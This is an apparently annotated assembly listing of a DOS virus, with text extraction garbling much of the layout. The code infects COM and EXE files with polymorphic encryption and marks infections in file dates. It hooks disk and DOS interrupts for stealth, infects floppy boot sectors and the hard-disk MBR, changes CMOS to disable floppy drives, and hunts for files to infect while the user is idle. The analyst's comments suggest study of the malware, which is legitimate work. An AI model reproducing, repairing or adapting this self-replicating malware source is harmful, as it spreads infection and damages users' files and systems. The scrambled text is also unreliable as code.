word ptr ds:[21h*4],offset(int_21) ds:[21h*4+2],cs word ptr ds:[20h*4],offset(int_20) ds:[20h*4+2],cs word ptr ds:[27h*4],offset(int_27) ds:[27h*4+2],cs patch_i13

cs:flags,2 ; Permission to disable floppy? no_disable_fd ; No? then jmp cs:chksum_method,2 ; Known checksum method? no_disable_fd ; No? then jmp ax ax,10h write_cmos ; Disable FD from CMOS write_CMOS_chksum ; Calculate new checksum ax

cs:chksum_method,2 no_change_cmos ax ah,cs:floppy_types al,10h write_cmos write_CMOS_chksum ax

; Known checksum CMOS method? ; No? then jmp

; Enable FD drives ; Restore cmos checksum

write_CMOS_chksum: call push_registers cmp cs:chksum_method,1 ; Method 2? je write_CMOS_chksum2 ; Yes? then jmp call calculate_CMOS_checksum_1 mov al,2Eh mov ah,dh call write_cmos ; Store new checksum in CMOS mov al,2Fh mov ah,dl call write_cmos jmp _pops write_CMOS_chksum2: call calculate_CMOS_checksum_2 mov al,32h mov ah,dh call write_cmos ; Store new checksum in CMOS mov al,33h mov ah,dl call write_cmos _pops:

call ret


calculate_CMOS_checksum_1: mov cx,1Eh xor dx,dx mov al,10h next_cmos_byte: mov bl,al call read_cmos mov al,bl inc al push ax xchg ah,al xor ah,ah add dx,ax pop ax loop next_cmos_byte ret calculate_CMOS_checksum_2: mov cx,22h xor dx,dx mov al,10h next_byte_CMOS: mov bl,al call read_cmos mov al,bl inc al push ax xchg ah,al xor ah,ah xor dx,ax pop ax loop next_byte_CMOS ret write_virus: push pop push pop mov mov call mov shr add cmp jne mov xor xor call cmp ja jmp check_if_big: mov push clc add

; Make checksum

; Make checksum

cs ds cs es di,offset(num_bytes) [di],offset(length_virus) ; Bytes to decrypt get_random cl,0Bh ax,cl ; AX in [0..1Fh] [di],ax ; Variable number of bytes to decrypt bp,1 ; COM file? write_start_exe ; No? then jmp ax,4202h cx,cx dx,dx int21h ; Lseek end ax,1Ch ; size > 1Ch bytes? check_if_big ; Yes? then jmp _ret_2 ; Stupid jmp!!

di,ax ax ax,offset(vir_end)+495 ; !?

pop jnc jmp

ax write_start_com ; Too big? No, then jmp _ret_2 ; Stupid jmp!!

write_start_com: call write_jmptovir jnb make_decryptor jmp _ret_2

; Stupid jmp!!

write_start_exe: call write_header_exe jnc make_decryptor jmp _ret_2 ; Stupid jmp!! make_decryptor: call mov mov call add mov cld movsb mov movsb mov movsb mov call add mov movsb mov movsb movsw call mov shr mov call mov shr jnz mov mov push push movsw movsw movsw pop mov movsw movsb pop movsw movsb no_xchg_inst: cmp jz cmp jz cmp

get_1byte_inst _1cx,al di,3 get_n_di ; Get 0 or 3 or 6 in SI si,offset(table_reg_source) ; Source register di,offset(r_source) ; the mov di,offset(r_op) ; the source register di,offset(i_inc) ; the inc di,4 get_n_di ; Get 0 or 4 or 8 in SI si,offset(table_reg_index) ; Index register di,offset(r_index) ; the mov di,offset(d_loop) ; Store dec+jne or loop+garbage get_random cl,0Eh ax,cl ; AX in [0..3]: get encrytion method crypt_method,al get_random cl,0Fh ax,cl ; AX in [0..1] no_xchg_inst di,offset(xchg1) ; xchg 2 instructions si,offset(r_index) di si

di ; DI:=offset(xchg1) si,offset(xchg2)


crypt_method,0 enc_met_xor crypt_method,1 enc_met_not crypt_method,2

; ; ; ; ;

Xor? Yes? then jmp Not? Yes? then jmp Rol?

jz cmp jz enc_met_xor: mov jmp enc_met_not: mov call mov sub jmp enc_met_inc: mov call mov sub jmp enc_met_rol: mov call mov sub decryptor_done: cmp jne mov push call mov shr cmp je cmp je cmp je call mov ret seg_es: mov ret seg_cs: mov

enc_met_rol crypt_method,3 enc_met_inc prefix_op,802Eh decryptor_done prefix_op,0F62Eh get_1byte_inst l_mask,al r_op,20h decryptor_done prefix_op,0FE2Eh get_1byte_inst l_mask,al r_op,30h decryptor_done

; Yes? then jmp ; Dec? ; Yes? then jmp ; xor cs:

; not cs: ; Don't need a mask

; inc cs: ; Don't need a mask

prefix_op,0D02Eh get_1byte_inst l_mask,al r_op,30h

; rol cs: ; Don't need a mask

bp,1 ; COM file? encrypt_code_and_write ; No? then jmp ; In EXE we need SEG CS: ax,offset(encrypt_code_and_write) ax get_random cl,0Eh ax,cl ; AX in [0..3]: Get segment prefix al,1 ; Seg SS? seg_ss ; Yes? then jmp al,2 ; Seg ES? seg_es ; Yes? then jmp al,3 ; Seg CS? seg_cs ; Yes? then jmp get_1byte_inst ; if al=0 byte ptr prefix_op,al ; Subst CS: by one byte inst. ; jmp encrypt_code_and_write byte ptr prefix_op,26h ; SEG ES: ; jmp encrypt_code_and_write SEG CS: CS: (3Eh) jmp encrypt_code_and_write

ret seg_ss: mov ret

byte ptr prefix_op,2Eh ; ; BUG!!!! Already ; It would be DS: ; byte ptr prefix_op,36h

; SEG SS: ; jmp encrypt_code_and_write

encrypt_code_and_write: mov dx,offset(buffer_enc) mov cl,4 shr dx,cl ; Calculate base address inc dx push cs pop ax add ax,dx mov es,ax

get_no_zero: call or jz cmp jnz mov mov not_mask: push mov xor xor call mov xor mov mov call pop xor enc_next_byte: lodsb cmp jz cmp jz cmp jz cmp jz _xor: xor jmp _not: not jmp _inc: dec jmp _rol: ror enc_byte: stosb cmp ja cmp je jmp_enc_next: jmp write_512: push push push mov push pop mov xor call jc

get_random al,al get_no_zero crypt_method,0 not_mask cs:l_mask,al dl,al

; ; ; ; ;

Zero? Yes? then jmp XOR? Need a mask No? then jmp Store mask

dx ax,4202h cx,cx dx,dx int21h ; Lseek end ah,40h dx,dx cx,offset(code_enc) si,cx int21h ; Write decryptor to file dx di,di

crypt_method,1 _not crypt_method,0 _xor crypt_method,2 _rol crypt_method,3 _inc al,dl enc_byte al enc_byte al enc_byte al,1

; ; ; ; ; ; ; ;

Not? Yes? Xor? Yes? Rol? Yes? Inc? Yes?

then jmp then jmp then jmp then jmp

; Store encrypted byte si,offset(length_virus) ; All encrypted? all_encrypted ; Yes? then jmp di,512 ; Write in blocks of 512 bytes ; End of a block? write_512 ; Yes? then jmp enc_next_byte

ds es dx ah,40h es ds cx,di dx,dx int21h _ret_2

; Write an encrypted 512-block

pop pop pop xor jmp all_encrypted: mov mov dec xor push pop call mov rcr pushf add popf rcl mov clc _ret_2: ret cmp_3bytes: mov cld rep ret exe_or_com?: push pop mov call sub mov push call pop jne mov ret cmp_exe: mov push call pop jne mov ret not_execom: xor ret get_random: xor out in

dx es ds di,di jmp_enc_next

ah,40h cx,di cx dx,dx es ds int21h ax,cs:f_date ah,1 ah,100 ah,1 cs:f_date,ax

; Write last block

; Mark infected (add 100 years)

cx,3 cmpsb

cs es si,dx end_fname ; filename.ext ; ^ SI si,3 ; filename.ext ; ^SI di,offset(ext_com) si cmp_3bytes ; COM? si cmp_exe ; No? then jmp bp,1

di,offset(ext_exe) si cmp_3bytes ; EXE? si not_execom ; No? then jmp bp,3


; Get random number in AX al,al 43h,al al,40h ; Timer 8253-5 (AT: 8254.2). ; Timer 8253-5 (AT: 8254.2).

mov in ret make_fname: push push push push push mov inc mov mov push pop rep mov add mov mov rep push pop mov call pop pop pop pop pop ret host_type

ah,al al,40h

; Timer 8253-5 (AT: 8254.2).

si di es cx ax si,dx si cx,8 di,offset(filename) cs es movsb ; Store name si,dx si,9 cx,3 di,offset(filename_ext) movsb ; Store extension cs ds dx,offset(filename) normalize_fname ax cx es di si

db 1 ; 3 = EXE

; 1 = COM

table_reg_source: db 0BBh db 37h inc bx db db inc db db inc 0BEh 34h si 0BFh 35h di

; mov bx,???? ; reg BX

; mov si,???? ; reg SI

; mov di,???? ; reg DI

;100C table_reg_index: ; Using AX db 0B8h dec ax jne $-6 ; Using CX db 0B9h loop $-5 _1cx equ clc ; Using DX db 0BAh dec dx jne $-6

; mov ax,????

; mov cx,???? byte ptr $ ; 1 byte instruction

; mov dx,????

one_byte_inst: nop std cld clc read_header: mov mov push pop mov call ret get_ofs_fname: push pop mov call mov xchg cmp jne inc not_inc_offset: ret end_fname:

ah,3Fh cx,1Ch cs ds dx,offset(_header) int21h ; Read file header

cs ds ah,30h int21h ofs_sft,20h ah,al ax,300h not_inc_offset ofs_sft

; Get DOS version

; DOS 3.0? ; No? then jmp ; ofs_sft:=21h

; Output:

SI points to end of filename

mov cx,43h search_end_fname: ; Search end of filename (0) mov al,[si] or al,al ; Zero? jz end_asciiz ; Yes? then jmp inc si loop search_end_fname end_asciiz: ret int21h: pushf call ret int13h: pushf call ret int13hbp: pushf call ret int24h: mov _iret: iret set_i24_i1B_i23: push ds al,3 dword ptr cs:ofs_i13 dword ptr cs:ofs_i21

dword ptr cs:[bp+ofs_i13]

push pop push mov call mov mov mov call mov mov mov call mov mov pop push push mov mov call mov mov call mov mov call pop pop pop ret

cs ds bx ax,3524h int21h ; [ofs_i24],bx ; [seg_i24],es al,1Bh int21h ; [ofs_i1b],bx ; [seg_i1b],es al,23h int21h ; [ofs_i23],bx ; [seg_i23],es bx ax dx ax,2524h dx,offset(int24h) int21h ; al,1Bh dx,offset(_iret) int21h ; al,23h dx,offset(_iret) int21h ; dx ax ds

Get int 24h Save it

Get int 1Bh Save it

Get int 23h Save it

Set new int 24h

Set new int 1Bh (iret)

Set new int 23h (iret)

restore_i24_i1b_i23: mov ax,2524h lds dx,dword ptr cs:ofs_i24 call int21h ; Restore int 24h mov al,1Bh lds dx,dword ptr cs:ofs_i1b call int21h ; Restore int 1Bh mov al,23h lds dx,dword ptr cs:ofs_i23 call int21h ; Restore int 23h ret write_jmptovir: push pop push pop push mov mov cld movsw movsb pop mov xor xor call mov push

cs ds cs es di si,offset(_header) di,offset(header) ; Save original bytes (3) di ax,4200h cx,cx dx,dx int21h ofs_virus,di di

; Lseek start

sub mov mov mov call mov pop add mov add mov clc ret

ofs_virus,3 ah,40h cx,3 dx,offset(jmp_virus) int21h ; Write jmp host_type,1 ; COM file di di,100h ; Calculate delta offset delta,di di,offset(code_enc) ; Where encrypted code starts st_code_enc,di

write_header_exe: push cs pop ds push cs pop es mov si,offset(_header) push si mov di,offset(header) mov cx,1Ch cld rep movsb ; Store header pop si mov ax,[si+(_pagecnt-_header)] mov dx,512 dec ax mul dx ; (pagecnt-1)*512 mov length_hi,dx mov dx,[si+(_partpag-_header)] clc add ax,dx ; File size:=(pagecnt-1)*512+partpag adc length_hi,0 mov length_lo,ax xor cx,cx mov dx,cx mov ax,4202h call int21h ; Lseek end (get real length) sub ax,length_lo sbb dx,length_hi ; File has internal overlays? jz no_overlays ; No? then jmp jmp stc_ret no_overlays: push bx mov ax,4202h xor cx,cx mov dx,cx call int21h ; Lseek end push ax ; Save length push dx mov ax,[si+(_hdrsize-_header)] mov cl,4 shl ax,cl ; mul 16 = size of header xchg ax,bx pop dx ; Get length pop ax push ax push dx sub ax,bx ; Sub size of header sbb dx,0 mov cx,10h

div mov mov pop pop add adc mov push shr ror stc adc pop and mov mov pop clc add jnc sub nosub_minmem: clc add jnc sub nosub_maxmem: mov mov shr mov add mov mov xor mov mov call mov mov mov call mov mov add mov mov clc ret stc_ret: stc ret disinfect_file: call pushf call call mov mov

cx ; Calculate initial paragraph [si+(_exeip-_header)],dx [si+(_relocs-_header)],ax dx ax ax,offset(length_virus) ; New file length dx,0 cl,9 ax ax,cl ; div 512 dx,cl dx,ax ax ah,1 [si+(_pagecnt-_header)],dx [si+(_partpag-_header)],ax bx word ptr [si+(_minmem-_header)],39h ; why 39h????? ; (offset(vir_end)-length_virus+15)/16 (?) nosub_minmem word ptr [si+(_minmem-_header)],39h

word ptr [si+(_maxmem-_header)],39h nosub_maxmem word ptr [si+(_maxmem-_header)],39h cl,4 ax,offset(end_virdata) ax,cl ; div 16 dx,[si+(_relocs-_header)] ax,dx ; Segment of stack [si+(_reloss-_header)],ax word ptr [si+(_relosp-_header)],vstack-end_virdata cx,cx dx,cx ax,4200h int21h ; Lseek start dx,si ah,40h cx,1Ch int21h ; Write header dx,[si+(_exeip-_header)] delta,dx ; Delta offset dx,offset(code_enc) ; Where encrypted code starts st_code_enc,dx host_type,3 ; EXE file

push_registers normalize_fname set_i24_i1B_i23 cs:seg_fname,ds cs:ofs_fname,dx

call jc call or jz mov call jc mov call call call call jnz call cmp jne call jmp

get_reset_attr r_ints exe_or_com? bp,bp ; Exe or Com? r_ints ; No? then jmp ax,3D02h int21h ; Open I/O r_ints bx,ax ; bx:=handle read_header check_if_exe get_ftime check_if_infected ; Infected? close_file ; Yes? then jmp get_file_encryption bp,1 ; COM file? jmp_disinfect_exe ; No? then jmp disinfect_com quit_inf_mark

jmp_disinfect_exe: call disinfect_exe quit_inf_mark: mov ax,cs:f_date rcr ah,1 pushf sub ah,100 ; Quit mark popf rcl ah,1 mov cs:f_date,ax close_file: call restore_ftime mov ah,3Eh call int21h ; Close file mov ds,cs:seg_fname mov dx,cs:ofs_fname call restore_attr r_ints: call restore_i24_i1b_i23 popf call pop_registers ret lseek: mov xor xor call mov mov sub mov call ret truncate_file: mov call mov xor call ret ax,4202h cx,cx dx,dx int21h ; Lseek end cx,dx dx,ax dx,cs:ofs_virus ax,4200h int21h ; Lseek to length(file)-ofs_virus

cs:ofs_virus,offset(length_virus) lseek ; Lseek to start of viral code ah,40h cx,cx int21h ; Truncate file (original size)

disinfect_com: mov call mov mov push pop mov push call mov xor xor call mov pop push mov push call pop pop mov call call ret int25: mov call mov retf int26: mov call mov retf mark_activity: mov mov mov ret int17: mov pushf call call iret check_boot_inf: push pop push pop mov add mov mov cld rep

cs:ofs_virus,1Ch lseek ; Lseek to length(file)-1Ch ah,3Fh cx,3 cs ds dx,offset(_3bytes) dx int21h ; Read original 3 bytes ax,4200h cx,cx dx,dx int21h ; Lseek start al,code_mask si si cx,3 cx decrypt_bytes ; Decrypt original 3 bytes cx dx ah,40h int21h ; Restore host truncate_file ; Truncate to original size

cs:inout_flag,1 dword ptr cs:ofs_i25 cs:inout_flag,0

cs:inout_flag,1 dword ptr cs:ofs_i26 cs:inout_flag,0

cs:inout_flag,0 cs:tick_value,8*18 cs:tick_counter,0

; 8 seconds

cs:inout_flag,1 dword ptr cs:ofs_i17 mark_activity

cs es cs ds si,3Eh si,bx cx,offset(c_floppy)-offset(floppy_code) di,offset(floppy_code) cmpsb

ret install_from_boot: mov al,13h call get_int_vector mov [bp+ofs_i13],bx mov [bp+seg_i13],es mov [bp+use_ports],0 call check4ide cmp al,66h jne no_use_ports mov [bp+use_ports],1 no_use_ports: call install_virus ret patch_i13: push push push push push pop lds push mov cld movsw movsw movsb pop cli mov mov mov sti pop pop pop pop ret int_13: mov call push push push push mov push pop les cld movsw movsw movsb pop pop pop pop cmp jne cs:inout_flag,1 enable_FD si di es ds si,offset(i13_5bytes) cs ds di,dword ptr cs:ofs_i13 ; Restore original 5 bytes of int 13h

; Get int 13h vector ; Store it

; Can use ports? ; No? then jmp

si di es ds cs es si,dword ptr es:ofs_i13 si di,offset(i13_5bytes) ; Save five bytes

si byte ptr [si],0EAh ; Insert a jmp far to cs:int_13 word ptr [si+1],offset(int_13) [si+3],es ds es di si

ds es di si dx,80h not_stealth

; 1st HD? ; No? then jmp

cmp jne cmp je cmp je not_stealth: test jnz jmp call_i13: pushf call exit_i13: mov call call retf

cx,1 ; Track 0, sector 1? not_stealth ; No? then jmp ah,2 ; Read sector? stealth_mbr_read ; Yes? then jmp ah,3 ; Write sector? stealth_mbr_write ; Yes? then jmp dl,80h call_i13 is_a_floppy ; Is a HD? ; Yes? then jmp

dword ptr cs:ofs_i13_2 cs:inout_flag,0 disable_FD patch_i13 ; Patch int 13h again 2

stealth_mbr_read: push ax push bx push cx push dx push es push ax push es push bx mov ah,8 int 13h ; Get current drive parameters inc ch ; Inc cylinder dec cl ; Dec sector pop bx pop es pop ax pushf mov dl,80h mov ah,2 int 13h ; Read original MBR (encrypted) mov cx,512 mov al,cs:mask_orig_mbr dec_mbr_rd: xor es:[bx],al ; Decrypt the original MBR inc bx loop dec_mbr_rd exit_mbr_stealth: popf pop es pop dx pop cx pop bx pop ax call patch_i13 retf 2 stealth_mbr_write: push ax push bx push cx push dx push es push es

push push mov mov enc_mbr_wr: xor inc loop pop pop pop push push push mov int inc dec pop pop pop mov mov call pushf mov mov dec_mbr_wr: xor inc loop jmp is_a_floppy: pushf call cmp je cmp je jmp

bx ax cx,512 al,cs:mask_orig_mbr es:[bx],al ; Encrypt the new MBR bx enc_mbr_wr ax bx es ax es bx ah,8 13h ; Get current drive parameters ch ; Inc max. cylinder cl ; Dec max. sector bx es ax dl,80h ah,3 int13h ; Write new original MBR (encripted) cx,512 al,cs:mask_orig_mbr es:[bx],al ; Decrypt MBR bx dec_mbr_wr exit_mbr_stealth

push_registers ah,2 read_write ah,3 read_write infect_boot

; ; ; ;

Read sector? Yes? then jmp Write sector? Yes? then jmp

read_write: or dh,dh ; jnz infect_boot ; cmp cx,1 ; jnz infect_boot ; push cx push dx push ax push es push bx push ax push cs pop es mov si,3 read_boot_again: mov ax,0201h mov cx,1 mov dh,ch mov bx,offset(sector) call int13h dec si

Track 0? No? then jmp Sector 1, track 0? trying boot? No? then jmp

; Read boot

jz jc call jne add nop mov pop pop pop mov mov call pop dec pop pop inc call or jmp

infect_boot_pops ; 3 errors reading? then jmp read_boot_again ; error? then jmp check_boot_inf ; Infected? infect_boot_pops ; No? then jmp bx,offset(vir_track)-offset(floppy_code)+3Eh ; !? ch,[bx] ; Virus track ax bx es al,1 cl,0Dh int13h ; Read/write original boot ax al dx cx cl int13h ; And the rest of sectors cs:flags,10h ; Don't need to call int 13h infect_boot

infect_boot_pops: pop ax pop bx pop es pop ax pop dx pop cx infect_boot: xor ax,ax mov ds,ax cmp dl,3 jbe test_motor jmp error_inf_boot test_motor: mov mov shl mov test jnz push pop push pop mov mov read_boot: xor call mov mov mov mov call jnc dec jz jmp boot_loaded:

; DS:=0 ; diskette? ; Yes? then jmp

cl,dl al,1 al,cl ; Set bit of drive cs:bit_drive,al ds:[43Fh],al ; Diskette motor on? error_inf_boot ; Yes? then jmp cs ds ds es si,3 drive,dl ax,ax int13h ; Reset drive controller ax,0201h cx,1 dh,ch bx,offset(sector) int13h ; Read sector boot_loaded si error_inf_boot read_boot

call jcxz call jc push pop mov mov mov mov mov push pop mov cld rep mov mov xor mov call error_inf_boot: call popf test jnz jmp no_call_i13: clc mov jmp

check_boot_inf ; Already infected? error_inf_boot ; Yes? then jmp format_extra_track ; And write code to disk error_inf_boot cs ds vir_track,ch ; Store new track word ptr jmp_bootcode,3CEBh ; Encode jmp floppy_code byte ptr jmp_bootcode+2,90h si,offset(floppy_code) di,offset(sector)+3eh ds es cx,end_floppy_code-floppy_code movsb ax,301h bx,offset(sector) dh,dh cx,1 int13h ; Write new boot sector pop_registers cs:flags,10h no_call_i13 call_i13 ; Need to call int 13h? ; No? then jmp

cs:flags,0 exit_i13

; Clear all flags

format_extra_track: mov al,1Eh call get_int_vector ; Dir of diskette parameters cli mov word ptr es:[bx+3],0D02h ; 2-> 512 bytes/sector ; 0Dh-> last sector sti mov ax,totsecs or ax,ax ; Total sectors=0? jz error_ft ; Yes? then jmp mov bx,trksecs ; Sectors per track xor bh,bh cmp ax,bx ; Total sectors<=Sectors per track? jle error_ft ; Yes? then jmp div bl ; Calculate number of tracks mov bx,headcnt ; Number of heads xor bh,bh cmp ax,bx ; Number of tracks<=Number of heads? jle error_ft ; Yes? then jmp div bl ; Tracks per head mov ah,1 mov cx,0Dh ; 13 sectors mov di,offset(format_table) push di push cs pop es make_table_sectors: mov es:[di],al ; Track mov byte ptr es:[di+1],0 ; Head 0 mov es:[di+2],ah ; Sector Number

mov inc add loop mov mov pop mov mov xor call jc mov mov mov call jc mov xor mov call ret error_ft: stc ret floppy_code: cli xor mov mov push pop c_floppy: mov vir_track xor push pop mov mov read_track: mov mov int dec jz jc mov add push push call pop pop read_exec_boot: push pop mov mov mov pushf push

byte ptr es:[di+3],2 ; Size (2-> 512) ah ; Next sector di,4 ; Next table entry make_table_sectors dl,cs:drive ah,5 bx ch,al cl,1 dh,dh int13h ; Format extra track error_ft ax,301h bx,offset(sector) cl,0Dh int13h ; Store original boot error_ft ax,30Ch bx,bx cl,1 int13h ; Write code to disk

ax,ax ss,ax sp,7C00h cs ds ch,50h ; Virus track equ byte ptr $-1 dx,dx cs es bx,7E00h si,3 ax,20Ch cl,1 13h ; Read code (12 sectors) si read_exec_boot read_track bp,bx bx,offset(install_from_boot) dx cx bx ; call install_from_boot (infect MBR) cx dx ss es ax,201h bx,7C00h cl,0Dh ss ; flags ; 0

push bx ; 7C00h jmp dword ptr es:[13h*4] ; Read & exec original boot end_floppy_code: ;--------------------------------------------------------jmp dword ptr cs:ofs_i8 ; ????? ;--------------------------------------------------------push_registers2: pop cs:return_dir2 push ax push bx push cx push dx push es push ds push si push di push bp jmp cs:return_dir2 pop_registers2: pop cs:return_dir2 pop bp pop di pop si pop ds pop es pop dx pop cx pop bx pop ax jmp cs:return_dir2 int8: pushf call or jz dec dis_fd: cmp jnz test jz call and no_permission: call xor mov les push pop mov or jz cmp je cmp je mov xor mov cs:ticks_disableFD,0 ; Time to disable FD? no_permission ; No? then jmp cs:flags,2 ; Permission to disable floppy? 1=no no_permission ; BUG!? disable_FD ; call with bit1=1 -> doesn't disable FD!! cs:flags,11111101b push_registers2 ax,ax ds,ax bx,ds:[33h*4] ; Get mouse int cs ds cx,es cx,cx ; Int segment=0? mark_no_mouse ; Yes? then jmp byte ptr es:[bx],0CFh ; Int points to iret? mark_no_mouse ; Yes? then jmp mouse_checked,1 ; Did I check the mouse? serial_mouse ; Yes? then jmp no_mouse,0 ch,ch mouse_checked,1 ; Mark mouse checked dword ptr cs:ofs_i8 cs:ticks_disableFD,0 dis_fd cs:ticks_disableFD

; Time to disable FD? ; Yes? then jmp

mov int cmp je mark_no_mouse: mov serial_mouse: mov xor xor check_com: mov inc inc or jz

ax,24h 33h ; - MS MOUSE - Get soft version and type ch,2 ; Serial mouse? serial_mouse ; Yes? then jmp no_mouse,1 cx,3 bx,bx bp,bp dx,word ptr [bx+com_ports] bx bx dx,dx ; Port installed? check_game ; No? then jmp ; BUG!? We can have COM4 without COM3 al,dx ; Read byte from port waste_time al,byte ptr cs:[bp+data_com] ; Actual byte=Previous? byte ptr cs:[bp+data_com],al ; Store actual byte next_port ; Yes? then jmp mark_activity check_game ; No serial mouse

in call cmp mov je call jmp next_port: inc bp loop check_com ; Check next COM check_game: mov dx,201h in al,dx ; Game I/O port call waste_time cmp al,data_game ; Actual byte=Previous byte? je check_keys ; Yes? then jmp call mark_activity check_keys: mov data_game,al ; Store actual byte in al,60h ; AT Keyboard controller 8042. call waste_time test al,80h ; Key pressed? call pop_registers2 jnz inc_tick_counter ; Yes? then jmp call mark_activity inc_tick_counter: push ds push es push bx push cs pop ds inc tick_counter cmp tick_counter,8*18 ; < tick_value secs inactive? tick_value equ word ptr $-2 jb exit_i8 ; Yes? then jmp cmp into_i21,0 ; int 21h active? jnz exit_i8 ; Yes? then jmp cmp inout_flag,0 ; Input/output activity? jnz exit_i8 ; Yes? then jmp les bx,dword ptr ofs_flagdos cmp byte ptr es:[bx],0 ; DOS inactive? jnz exit_i8 ; Yes? then jmp les bx,dword ptr ofs_swpdos cmp byte ptr es:[bx],0 ; DOS swapping? jnz exit_i8 ; Yes? then jmp mov tick_counter,0 ; Reset counter

call or jz cmp jz sub exit_i8: pop pop pop iret search_files: call mov call mov mov cmp jne jmp change_dta: mov mov mov mov call cmp je cmp je mov mov test jnz mov jmp search_exe: mov find_first: call jc mov mov rcr cmp jb find_next: mov call jc mov rcr cmp jnb jmp change_ftype: dec mov jmp infect_via_i8:

search_files tick_value,0 exit_i8 word ptr no_mouse,1 exit_i8 tick_value,1*18 bx es ds

; Tick value=0? ; Yes? then jmp ; Mouse present but not checked? ; No? then jmp ; 1 second

push_registers2 ah,2Fh int21h ; Get DTA address in ES:BX ax,cs dx,es ax,dx ; Virus already using DTA? change_dta ; No? then jmp exit_sf ds:ofs_dta,bx ds:seg_dta,es ah,1Ah dx,offset(dta) int21h ; fname_waiting,1 ; infect_via_i8 ; searching,1 ; find_next ; ah,4Eh cx,3Fh search_execom,1 ; search_exe ; dx,offset(m_com) find_first

Set DTA Has a file waiting to be infected? Yes? then jmp Search in progress? Yes? then jmp

Searching for COM? Yes? then jmp

dx,offset(m_exe) int21h ; Find first file change_ftype searching,1 ; Mark searching files dx,dta_date ; Get file date dh,1 dh,100 ; Infected? convert_relative ; No? then jmp ah,4Fh int21h ; Find next change_ftype dx,dta_date dh,1 dh,100 ; Infected? find_next ; Yes? then jmp convert_relative

search_execom searching,0 restore_dta

; Next type ; Next time do a find-first

mov call mov jmp

dx,offset(file_name) try_to_infect_file fname_waiting,0 ; Next time do a search restore_dta

convert_relative: mov si,offset(dta_fname) mov di,offset(file_name) push cs pop es mov ah,60h call int21h ; Convert relative path to full path mov fname_waiting,1 ; Next time do an infection jmp restore_dta ; Very stupid jmp!!!! restore_dta: mov mov mov call exit_sf: call ret decrypt_bytes: mov cmp je cmp je cmp je cmp je dec_xor: xor inc loop ret dec_not: not inc loop ret dec_rol: rol inc loop ret dec_inc: inc inc loop ret

ah,1Ah ds,cs:seg_dta dx,cs:ofs_dta int21h pop_registers2

; Restore DTA

al,code_mask crypt_method,0 dec_xor crypt_method,1 dec_not crypt_method,2 dec_rol crypt_method,3 dec_inc [si],al si dec_xor

; ; ; ; ; ; ; ;

XOR encryption? Yes? then jmp NOT encryption? Yes? then jmp ROR encryption Yes? then jmp DEC encryption? Yes? then jmp

byte ptr [si] si dec_not

byte ptr [si],1 si dec_rol

byte ptr [si] si dec_inc

disinfect_exe: push pop call mov call mov

cs ds read_header ofs_virus,length_virus-offset(header) lseek ; Lseek to length(file)-1Ch ah,3Fh

mov mov call mov push call mov xor xor call pop mov mov call call ret get_int_vector: push push xor mov mul mov xor mov les pop pop ret m_com m_exe header: signature partpag pagecnt relocnt hdrsize minmem maxmem reloss relosp chksum exeip relocs tabloff ovr length_virus: buffer: ofs_1c seg_1c _header: _signature _partpag _pagecnt _relocnt _hdrsize _minmem

cx,1Ch dx,offset(header) int21h ; si,dx si decrypt_bytes ; ax,4200h cx,cx dx,dx int21h ; dx ah,40h cx,1Ch int21h ; truncate_file ;

Read stored header (encrypted)

Decrypt header

Lseek start

Write original header and truncate file to original length

; Input: al:=int.number ds si ah,ah si,4 si si,ax ax,ax ds,ax bx,[si] si ds

; ds:=0 ; get int vector in es:bx

db '*.COM',0 db '*.EXE',0

dw dw dw dw dw dw dw dw dw dw dw dw dw dw

20CDh 0 0 0 0 0 0 0 0 0 0 0 0 0

dw dw

? ?

dw dw dw dw dw dw

? ? ? ? ? ?

_maxmem _reloss _relosp _chksum _exeip _relocs _tabloff _ovr stored_psp clusters_avail stored_drive loading_dos xchg1 tunnel_ok seg_fname xchg2 ofs_fname db _3bytes

dw dw dw dw dw dw dw dw dw dw db db equ equ dw equ dw ?,?

? ? ? ? ? ? ? ? ? ? ? ? byte ptr $ byte ptr $ ? byte ptr $+1 ?

db ? seg_psp dw ofs_i21 dw seg_i21 dw ofs_i13 dw seg_i13 dw flags db ticks_disableFD dw ofs_i13_2 dw seg_i13_2 dw ofs_i24 dw seg_i24 dw ofs_i1b dw seg_i1b dw ofs_i23 dw seg_i23 dw ofs_i8 dw seg_i8 dw ofs_i25 dw seg_i25 dw ofs_i26 dw seg_i26 dw ofs_i17 dw seg_i17 dw length_lo dw length_hi dw f_date dw emul_pushf equ f_time dw attribs dw boot_i21 dw filename equ ep_ip dw ep_cs dw db ? db ? db ? db ? point db filename_ext equ seg_stop dw db ? db

?,?,? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? word ptr $ ? ? ? word ptr $ ? ; Also filename ? ; 8bytes+'.'+3bytes+0

? ; '.' word ptr $ ?

; 3bytes

db code_mask ofs_dta seg_dta dta: db dta_attr dta_time dta_date dta_sizel dta_sizeh dta_fname inout_flag tick_counter into_i21 fname_waiting search_execom searching no_mouse mouse_checked drive use_ports bit_drive data_com: db db db com_ports: dw dw dw data_game file_name return_dir return_dir2 activity_checks ofs_sft ofs_flagdos seg_flagdos ofs_swpdos seg_swpdos crypt_method jmp_virus ofs_virus i13_5bytes end_virdata sector: jmp_bootcode db sectsize clustsize ressecs fatcnt rootsize totsecs media fatsize trksecs headcnt hidnsec db

? db dw dw

? ? ?

15h dup(?) db ? dw ? dw ? dw ? dw ? db 0dh dup(?) db ? dw ? db ? db ? db ? db ? db ? db ? equ byte ptr $ db ? db ? db ? ; COM1 ? ; COM2 ? ; COM3 ? ; COM4 dw ? ; Address of COM1 ? ; COM2 ? ; COM3 ? ; COM4 db ? db 67 dup(?) dw ? dw ? db ? dw ? dw ? dw ? dw ? dw ? db ? db ? dw ? db 5 dup(?) equ word ptr $

db 3 dup(?) 8 dup(?) dw ? db ? dw ? db ? dw ? dw ? db ? dw ? dw ? dw ? dw ? (512-($-offset(sector))) dup(?)

format_table vstack s_mbr buffer_enc org vir_end v6000 end $+34h db

equ equ equ equ

$ $-70h $-70h+1 $+34h

512 dup(?) equ $ ends start

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

